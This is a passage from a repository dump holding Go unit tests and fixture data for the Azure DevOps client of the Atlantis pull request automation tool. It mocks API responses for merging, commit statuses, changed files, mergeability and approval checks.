\"token\")\n\t\t\tclient.Client.VsaexBaseURL = *testServerURL\n\t\t\tOk(t, err)\n\t\t\tdefer common.DisableSSLVerification()()\n\n\t\t\tmerge, _, err := client.Client.PullRequests.Merge(context.Background(),\n\t\t\t\t\"owner\",\n\t\t\t\t\"project\",\n\t\t\t\t\"repo\",\n\t\t\t\tpull.GetPullRequestID(),\n\t\t\t\t&pull,\n\t\t\t\tcompletionOptions,\n\t\t\t\tid,\n\t\t\t)\n\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Merge failed: %+v\\n\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Printf(\"Successfully merged pull request: %+v\\n\", merge)\n\n\t\t\terr = client.MergePull(\n\t\t\t\tlogger,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum: 22,\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tFullName: \"owner/project/repo\",\n\t\t\t\t\t\tOwner:    \"owner\",\n\t\t\t\t\t\tName:     \"repo\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequestOptions{\n\t\t\t\t\tDeleteSourceBranchOnMerge: false,\n\t\t\t\t})\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tErrContains(t, c.expErr, err)\n\t\t\t\tErrContains(t, \"unable to merge merge request, it may not be in a mergeable state\", err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestAzureDevopsClient_UpdateStatus(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tstatus             models.CommitStatus\n\t\texpState           string\n\t\tsupportsIterations bool\n\t}{\n\t\t{\n\t\t\tmodels.PendingCommitStatus,\n\t\t\t\"pending\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\t\"succeeded\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\tmodels.FailedCommitStatus,\n\t\t\t\"failed\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\tmodels.PendingCommitStatus,\n\t\t\t\"pending\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\t\"succeeded\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\tmodels.FailedCommitStatus,\n\t\t\t\"failed\",\n\t\t\tfalse,\n\t\t},\n\t}\n\titerResponse := `{\"count\": 2, \"value\": [{\"id\": 1, \"sourceRefCommit\": { \"commitId\": \"oldsha\"}}, {\"id\": 2, \"sourceRefCommit\": { \"commitId\": \"sha\"}}]}`\n\tprResponse := `{\"supportsIterations\": %t}`\n\tpartResponse := `{\"context\":{\"genre\":\"Atlantis Bot\",\"name\":\"src\"},\"description\":\"description\",\"state\":\"%s\",\"targetUrl\":\"https://google.com\"`\n\n\tfor _, c := range cases {\n\t\tprResponse := fmt.Sprintf(prResponse, c.supportsIterations)\n\t\tt.Run(c.expState, func(t *testing.T) {\n\t\t\tgotRequest := false\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/owner/project/_apis/git/repositories/repo/pullrequests/22/statuses?api-version=5.1-preview.1\":\n\t\t\t\t\t\tgotRequest = true\n\t\t\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\t\t\t\t\t\tbody, err := io.ReadAll(r.Body)\n\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\texp := fmt.Sprintf(partResponse, c.expState)\n\t\t\t\t\t\tif c.supportsIterations == true {\n\t\t\t\t\t\t\texp = fmt.Sprintf(\"%s%s}\\n\", exp, `,\"iterationId\":2`)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\texp = fmt.Sprintf(\"%s}\\n\", exp)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tEquals(t, exp, string(body))\n\t\t\t\t\t\tw.Write([]byte(exp)) // nolint: errcheck\n\t\t\t\t\tcase \"/owner/project/_apis/git/repositories/repo/pullrequests/22/iterations?api-version=5.1\":\n\t\t\t\t\t\tw.Write([]byte(iterResponse)) // nolint: errcheck\n\t\t\t\t\tcase \"/owner/project/_apis/git/pullrequests/22?api-version=5.1-preview.1\":\n\t\t\t\t\t\tw.Write([]byte(prResponse)) // nolint: errcheck\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := azuredevopsclient.New(testServerURL.Host, \"user\", \"token\")\n\t\t\tOk(t, err)\n\t\t\tdefer common.DisableSSLVerification()()\n\n\t\t\trepo := models.Repo{\n\t\t\t\tFullName: \"owner/project/repo\",\n\t\t\t\tOwner:    \"owner\",\n\t\t\t\tName:     \"repo\",\n\t\t\t}\n\t\t\terr = client.UpdateStatus(\n\t\t\t\tlogger,\n\t\t\t\trepo,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum:        22,\n\t\t\t\t\tBaseRepo:   repo,\n\t\t\t\t\tHeadCommit: \"sha\",\n\t\t\t\t}, c.status, \"src\", \"description\", \"https://google.com\")\n\t\t\tOk(t, err)\n\t\t\tAssert(t, gotRequest, \"expected to get the request\")\n\t\t})\n\t}\n}\n\n// GetModifiedFiles should make multiple requests if more than one page\n// and concat results.\nfunc TestAzureDevopsClient_GetModifiedFiles(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\titemRespTemplate := `{\n\t\t\"changes\": [\n\t{\n\t\t\"item\": {\n\t\t\t\"gitObjectType\": \"blob\",\n\t\t\t\"path\": \"%s\",\n\t\t\t\"url\": \"https://dev.azure.com/fabrikam/_apis/git/repositories/278d5cd2-584d-4b63-824a-2ba458937249/items/MyWebSite/MyWebSite/%s?versionType=Commit\"\n\t\t},\n\t\t\"changeType\": \"add\"\n\t},\n\t{\n\t\t\"item\": {\n\t\t\t\"gitObjectType\": \"blob\",\n\t\t\t\"path\": \"%s\",\n\t\t\t\"url\": \"https://dev.azure.com/fabrikam/_apis/git/repositories/278d5cd2-584d-4b63-824a-2ba458937249/items/MyWebSite/MyWebSite/%s?versionType=Commit\"\n\t\t},\n\t\t\"changeType\": \"add\"\n\t}\n]}`\n\tresp := fmt.Sprintf(itemRespTemplate, \"/file1.txt\", \"/file1.txt\", \"/file2.txt\", \"/file2.txt\")\n\ttestServer := httptest.NewTLSServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\t// The first request should hit this URL.\n\t\t\tcase \"/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true\":\n\t\t\t\tw.Write([]byte(testdata.PullJSON)) // nolint: errcheck\n\t\t\t// The second should hit this URL.\n\t\t\tcase \"/owner/project/_apis/git/repositories/repo/diffs/commits?%24top=100&api-version=5.1&baseVersion=new_feature&targetVersion=npaulk%2Fmy_work\":\n\t\t\t\t// We write a header that means there's an additional page.\n\t\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t}))\n\n\ttestServerURL, err := url.Parse(testServer.URL)\n\tOk(t, err)\n\tclient, err := azuredevopsclient.New(testServerURL.Host, \"user\", \"token\")\n\tOk(t, err)\n\tdefer common.DisableSSLVerification()()\n\n\tfiles, err := client.GetModifiedFiles(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/project/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.AzureDevops,\n\t\t\t\tHostname: \"dev.azure.com\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"file1.txt\", \"file2.txt\"}, files)\n}\n\nfunc TestAzureDevopsClient_PullIsMergeable(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttype Policy struct {\n\t\tgenre  string\n\t\tname   string\n\t\tstatus string\n\t}\n\tcases := []struct {\n\t\ttestName     string\n\t\tmergeStatus  string\n\t\tpolicy       Policy\n\t\texpMergeable models.MergeableStatus\n\t}{\n\t\t{\n\t\t\t\"merge conflicts\",\n\t\t\tazuredevops.MergeConflicts.String(),\n\t\t\tPolicy{\n\t\t\t\t\"Not Atlantis\",\n\t\t\t\t\"foo\",\n\t\t\t\t\"approved\",\n\t\t\t},\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"rejected policy status\",\n\t\t\tazuredevops.MergeSucceeded.String(),\n\t\t\tPolicy{\n\t\t\t\t\"Not Atlantis\",\n\t\t\t\t\"foo\",\n\t\t\t\t\"rejected\",\n\t\t\t},\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t}},\n\t\t{\n\t\t\t\"merge succeeded\",\n\t\t\tazuredevops.MergeSucceeded.String(),\n\t\t\tPolicy{\n\t\t\t\t\"Not Atlantis\",\n\t\t\t\t\"foo\",\n\t\t\t\t\"approved\",\n\t\t\t},\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t}},\n\t\t{\n\t\t\t\"pending policy status\",\n\t\t\tazuredevops.MergeSucceeded.String(),\n\t\t\tPolicy{\n\t\t\t\t\"Not Atlantis\",\n\t\t\t\t\"foo\",\n\t\t\t\t\"pending\",\n\t\t\t},\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"atlantis apply status rejected\",\n\t\t\tazuredevops.MergeSucceeded.String(),\n\t\t\tPolicy{\n\t\t\t\t\"Atlantis Bot/atlantis\",\n\t\t\t\t\"apply\",\n\t\t\t\t\"rejected\",\n\t\t\t},\n\t\t\tmodels.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t}\n\n\tjsonPullRequestBytes, err := os.ReadFile(\"testdata/pr.json\")\n\tOk(t, err)\n\n\tjsonPolicyEvaluationBytes, err := os.ReadFile(\"testdata/policyevaluations.json\")\n\tOk(t, err)\n\n\tpullRequestBody := string(jsonPullRequestBytes)\n\tpolicyEvaluationsBody := string(jsonPolicyEvaluationBytes)\n\n\tfor _, c := range cases {\n\t\tt.Run(c.testName, func(t *testing.T) {\n\t\t\tpullRequestResponse := strings.Replace(pullRequestBody, `\"mergeStatus\": \"notSet\"`, fmt.Sprintf(`\"mergeStatus\": \"%s\"`, c.mergeStatus), 1)\n\t\t\tpolicyEvaluationsResponse := strings.Replace(policyEvaluationsBody, `\"status\": \"approved\"`, fmt.Sprintf(`\"status\": \"%s\"`, c.policy.status), 1)\n\t\t\tpolicyEvaluationsResponse = strings.Replace(policyEvaluationsResponse, `\"statusGenre\": \"Atlantis Bot/atlantis\"`, fmt.Sprintf(`\"statusGenre\": \"%s\"`, c.policy.genre), 1)\n\t\t\tpolicyEvaluationsResponse = strings.Replace(policyEvaluationsResponse, `\"statusName\": \"plan\"`, fmt.Sprintf(`\"statusName\": \"%s\"`, c.policy.name), 1)\n\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true\":\n\t\t\t\t\t\tw.Write([]byte(pullRequestResponse)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tcase \"/owner/project/_apis/policy/evaluations?api-version=5.1-preview&artifactId=vstfs%3A%2F%2F%2FCodeReview%2FCodeReviewId%2F33333333-3333-3333-333333333333%2F1\":\n\t\t\t\t\t\tw.Write([]byte(policyEvaluationsResponse)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\n\t\t\tclient, err := azuredevopsclient.New(testServerURL.Host, \"user\", \"token\")\n\t\t\tOk(t, err)\n\n\t\t\tdefer common.DisableSSLVerification()()\n\n\t\t\tactMergeable, err := client.PullIsMergeable(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName:          \"owner/project/repo\",\n\t\t\t\t\tOwner:             \"owner\",\n\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tType:     models.AzureDevops,\n\t\t\t\t\t\tHostname: \"dev.azure.com\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequest{\n\t\t\t\t\tNum: 1,\n\t\t\t\t}, \"atlantis-test\", []string{})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.expMergeable, actMergeable)\n\t\t})\n\t}\n}\n\nfunc TestAzureDevopsClient_PullIsApproved(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\ttestName           string\n\t\treviewerUniqueName string\n\t\treviewerVote       int\n\t\texpApproved        bool\n\t}{\n\t\t{\n\t\t\t\"approved\",\n\t\t\t\"atlantis.reviewer@example.com\",\n\t\t\tazuredevops.VoteApproved,\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"approved with suggestions\",\n\t\t\t\"atlantis.reviewer@example.com\",\n\t\t\tazuredevops.VoteApprovedWithSuggestions,\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"no vote\",\n\t\t\t\"atlantis.reviewer@example.com\",\n\t\t\tazuredevops.VoteNone,\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"vote waiting for author\",\n\t\t\t\"atlantis.reviewer@example.com\",\n\t\t\tazuredevops.VoteWaitingForAuthor,\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"vote rejected\",\n\t\t\t\"atlantis.reviewer@example.com\",\n\t\t\tazuredevops.VoteRejected,\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"approved only by author\",\n\t\t\t\"atlantis.author@example.com\",\n\t\t\tazuredevops.VoteApproved,\n\t\t\tfalse,\n\t\t},\n\t}\n\n\tjsBytes, err := os.ReadFile(\"testdata/pr.json\")\n\tOk(t, err)\n\n\tjson := string(jsBytes)\n\tfor _, c := range cases {\n\t\tt.Run(c.testName, func(t *testing.T) {\n\t\t\tresponse := strings.Replace(json, `\"vote\": 0,`, fmt.Sprintf(`\"vote\": %d,`, c.reviewerVote), 1)\n\t\t\tresponse = strings.Replace(response, \"atlantis.reviewer@example.com\", c.reviewerUniqueName, 1)\n\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true\":\n\t\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\n\t\t\tclient, err := azuredevopsclient.New(testServerURL.Host, \"user\", \"token\")\n\t\t\tOk(t, err)\n\n\t\t\tdefer common.DisableSSLVerification()()\n\n\t\t\tapprovalStatus, err := client.PullIsApproved(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName:          \"owner/project/repo\",\n\t\t\t\t\tOwner:             \"owner\",\n\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tType:     models.AzureDevops,\n\t\t\t\t\t\tHostname: \"dev.azure.com\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequest{\n\t\t\t\t\tNum: 1,\n\t\t\t\t})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.expApproved, approvalStatus.IsApproved)\n\t\t})\n\t}\n}\n\nfunc TestAzureDevopsClient_GetPullRequest(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\t// Use a real Azure DevOps json response and edit the mergeable_state field.\n\tjsBytes, err := os.ReadFile(\"testdata/pr.json\")\n\tOk(t, err)\n\tresponse := string(jsBytes)\n\n\tt.Run(\"get pull request\", func(t *testing.T) {\n\t\ttestServer := httptest.NewTLSServer(\n\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tswitch r.RequestURI {\n\t\t\t\tcase \"/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true\":\n\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}))\n\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\tOk(t, err)\n\t\tclient, err := azuredevopsclient.New(testServerURL.Host, \"user\", \"token\")\n\t\tOk(t, err)\n\t\tdefer common.DisableSSLVerification()()\n\n\t\t_, err = client.GetPullRequest(\n\t\t\tlogger,\n\t\t\tmodels.Repo{\n\t\t\t\tFullName:          \"owner/project/repo\",\n\t\t\t\tOwner:             \"owner\",\n\t\t\t\tName:              \"repo\",\n\t\t\t\tCloneURL:          \"\",\n\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType:     models.AzureDevops,\n\t\t\t\t\tHostname: \"dev.azure.com\",\n\t\t\t\t},\n\t\t\t}, 1)\n\t\tOk(t, err)\n\t})\n}\n\nfunc TestAzureDevopsClient_MarkdownPullLink(t *testing.T) {\n\tclient, err := azuredevopsclient.New(\"hostname\", \"user\", \"token\")\n\tOk(t, err)\n\tpull := models.PullRequest{Num: 1}\n\ts, _ := client.MarkdownPullLink(pull)\n\texp := \"!1\"\n\tEquals(t, exp, s)\n}\n\nvar adMergeSuccess = `{\n\t\"status\": \"completed\",\n\t\"mergeStatus\": \"succeeded\",\n\t\"autoCompleteSetBy\": {\n\t\t\t\t\t\"id\": \"54d125f7-69f7-4191-904f-c5b96b6261c8\",\n\t\t\t\t\t\"displayName\": \"Jamal Hartnett\",\n\t\t\t\t\t\"uniqueName\": \"fabrikamfiber4@hotmail.com\",\n\t\t\t\t\t\"url\": \"https://vssps.dev.azure.com/fabrikam/_apis/Identities/54d125f7-69f7-4191-904f-c5b96b6261c8\",\n\t\t\t\t\t\"imageUrl\": \"https://dev.azure.com/fabrikam/DefaultCollection/_api/_common/identityImage?id=54d125f7-69f7-4191-904f-c5b96b6261c8\"\n\t},\n\t\"pullRequestId\": 22,\n\t\"completionOptions\": {\n\t\t\t\t\t\"bypassPolicy\":false,\n\t\t\t\t\t\"bypassReason\":\"\",\n\t\t\t\t\t\"deleteSourceBranch\":false,\n\t\t\t\t\t\"mergeCommitMessage\":\"TEST MERGE COMMIT MESSAGE\",\n\t\t\t\t\t\"mergeStrategy\":\"noFastForward\",\n\t\t\t\t\t\"squashMerge\":false,\n\t\t\t\t\t\"transitionWorkItems\":true,\n\t\t\t\t\t\"triggeredByAutoComplete\":false\n\t}\n}\n`\n"
  },
  {
    "path": "server/events/vcs/azuredevops/testdata/fixtures.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage testdata\n\nimport (\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n)\n\nvar PullEvent = azuredevops.Event{\n\tEventType: \"git.pullrequest.created\",\n\tResource:  &Pull,\n}\n\nvar PullUpdatedEvent = azuredevops.Event{\n\tEventType: \"git.pullrequest.updated\",\n\tResource:  &Pull,\n}\n\nvar PullClosedEvent = azuredevops.Event{\n\tEventType: \"git.pullrequest.merged\",\n\tResource:  &PullCompleted,\n}\n\nvar Pull = azuredevops.GitPullRequest{\n\tCreatedBy: &azuredevops.IdentityRef{\n\t\tID:          azuredevops.String(\"d6245f20-2af8-44f4-9451-8107cb2767db\"),\n\t\tDisplayName: azuredevops.String(\"User\"),\n\t\tUniqueName:  azuredevops.String(\"user@example.com\"),\n\t},\n\tLastMergeSourceCommit: &azuredevops.GitCommitRef{\n\t\tCommitID: azuredevops.String(\"b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t\tURL:      azuredevops.String(\"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t},\n\tPullRequestID: azuredevops.Int(1),\n\tRepository:    &Repo,\n\tSourceRefName: azuredevops.String(\"refs/heads/feature/sourceBranch\"),\n\tStatus:        azuredevops.String(\"active\"),\n\tTargetRefName: azuredevops.String(\"refs/heads/targetBranch\"),\n\tURL:           azuredevops.String(\"https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21\"),\n}\n\nvar PullCompleted = azuredevops.GitPullRequest{\n\tCreatedBy: &azuredevops.IdentityRef{\n\t\tID:          azuredevops.String(\"d6245f20-2af8-44f4-9451-8107cb2767db\"),\n\t\tDisplayName: azuredevops.String(\"User\"),\n\t\tUniqueName:  azuredevops.String(\"user@example.com\"),\n\t},\n\tLastMergeSourceCommit: &azuredevops.GitCommitRef{\n\t\tCommitID: azuredevops.String(\"b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t\tURL:      azuredevops.String(\"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"),\n\t},\n\tPullRequestID: azuredevops.Int(1),\n\tRepository:    &Repo,\n\tSourceRefName: azuredevops.String(\"refs/heads/owner/sourceBranch\"),\n\tStatus:        azuredevops.String(\"completed\"),\n\tTargetRefName: azuredevops.String(\"refs/heads/targetBranch\"),\n\tURL:           azuredevops.String(\"https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21\"),\n}\n\nvar Repo = azuredevops.GitRepository{\n\tDefaultBranch: azuredevops.String(\"refs/heads/main\"),\n\tName:          azuredevops.String(\"repo\"),\n\tParentRepository: &azuredevops.GitRepositoryRef{\n\t\tName: azuredevops.String(\"owner\"),\n\t},\n\tProject: &azuredevops.TeamProjectReference{\n\t\tID:    azuredevops.String(\"a21f5f20-4a12-aaf4-ab12-9a0927cbbb90\"),\n\t\tName:  azuredevops.String(\"project\"),\n\t\tState: azuredevops.String(\"unchanged\"),\n\t},\n\tWebURL: azuredevops.String(\"https://dev.azure.com/owner/project/_git/repo\"),\n}\n\nvar PullJSON = `{\n\t\"repository\": {\n\t\t\"id\": \"3411ebc1-d5aa-464f-9615-0b527bc66719\",\n\t\t\"name\": \"repo\",\n\t\t\"url\": \"https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719\",\n\t\t\"webUrl\": \"https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719\",\n\t\t\"project\": {\n\t\t\t\"id\": \"a7573007-bbb3-4341-b726-0c4148a07853\",\n\t\t\t\"name\": \"project\",\n\t\t\t\"description\": \"test project created on Halloween 2016\",\n\t\t\t\"url\": \"https://dev.azure.com/owner/_apis/projects/a7573007-bbb3-4341-b726-0c4148a07853\",\n\t\t\t\"state\": \"wellFormed\",\n\t\t\t\"revision\": 7\n\t\t},\n\t\t\"remoteUrl\": \"https://dev.azure.com/owner/project/_git/repo\"\n\t},\n\t\"pullRequestId\": 22,\n\t\"codeReviewId\": 22,\n\t\"status\": \"active\",\n\t\"createdBy\": {\n\t\t\"id\": \"d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\"displayName\": \"Normal Paulk\",\n\t\t\"uniqueName\": \"fabrikamfiber16@hotmail.com\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\"imageUrl\": \"https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db\"\n\t},\n\t\"creationDate\": \"2016-11-01T16:30:31.6655471Z\",\n\t\"title\": \"A new feature\",\n\t\"description\": \"Adding a new feature\",\n\t\"sourceRefName\": \"refs/heads/npaulk/my_work\",\n\t\"targetRefName\": \"refs/heads/new_feature\",\n\t\"mergeStatus\": \"succeeded\",\n\t\"mergeId\": \"f5fc8381-3fb2-49fe-8a0d-27dcc2d6ef82\",\n\t\"lastMergeSourceCommit\": {\n\t\t\"commitId\": \"b60280bc6e62e2f880f1b63c1e24987664d3bda3\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3\"\n\t},\n\t\"lastMergeTargetCommit\": {\n\t\t\"commitId\": \"f47bbc106853afe3c1b07a81754bce5f4b8dbf62\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62\"\n\t},\n\t\"lastMergeCommit\": {\n\t\t\"commitId\": \"39f52d24533cc712fc845ed9fd1b6c06b3942588\",\n\t\t\"author\": {\n\t\t\t\"name\": \"Normal Paulk\",\n\t\t\t\"email\": \"fabrikamfiber16@hotmail.com\",\n\t\t\t\"date\": \"2016-11-01T16:30:32Z\"\n\t\t},\n\t\t\"committer\": {\n\t\t\t\"name\": \"Normal Paulk\",\n\t\t\t\"email\": \"fabrikamfiber16@hotmail.com\",\n\t\t\t\"date\": \"2016-11-01T16:30:32Z\"\n\t\t},\n\t\t\"comment\": \"Merge pull request 22 from npaulk/my_work into new_feature\",\n\t\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/39f52d24533cc712fc845ed9fd1b6c06b3942588\"\n\t},\n\t\"reviewers\": [\n\t\t{\n\t\t\t\"reviewerUrl\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/reviewers/d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\t\"vote\": 0,\n\t\t\t\"id\": \"d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\t\"displayName\": \"Normal Paulk\",\n\t\t\t\"uniqueName\": \"fabrikamfiber16@hotmail.com\",\n\t\t\t\"url\": \"https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db\",\n\t\t\t\"imageUrl\": \"https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db\"\n\t\t}\n\t],\n\t\"url\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22\",\n\t\"_links\": {\n\t\t\"self\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22\"\n\t\t},\n\t\t\"repository\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719\"\n\t\t},\n\t\t\"workItems\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/workitems\"\n\t\t},\n\t\t\"sourceBranch\": {\n\t\t\t\"href\": \"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs\"\n\t\t},\n\t\t\"targetBranch\": 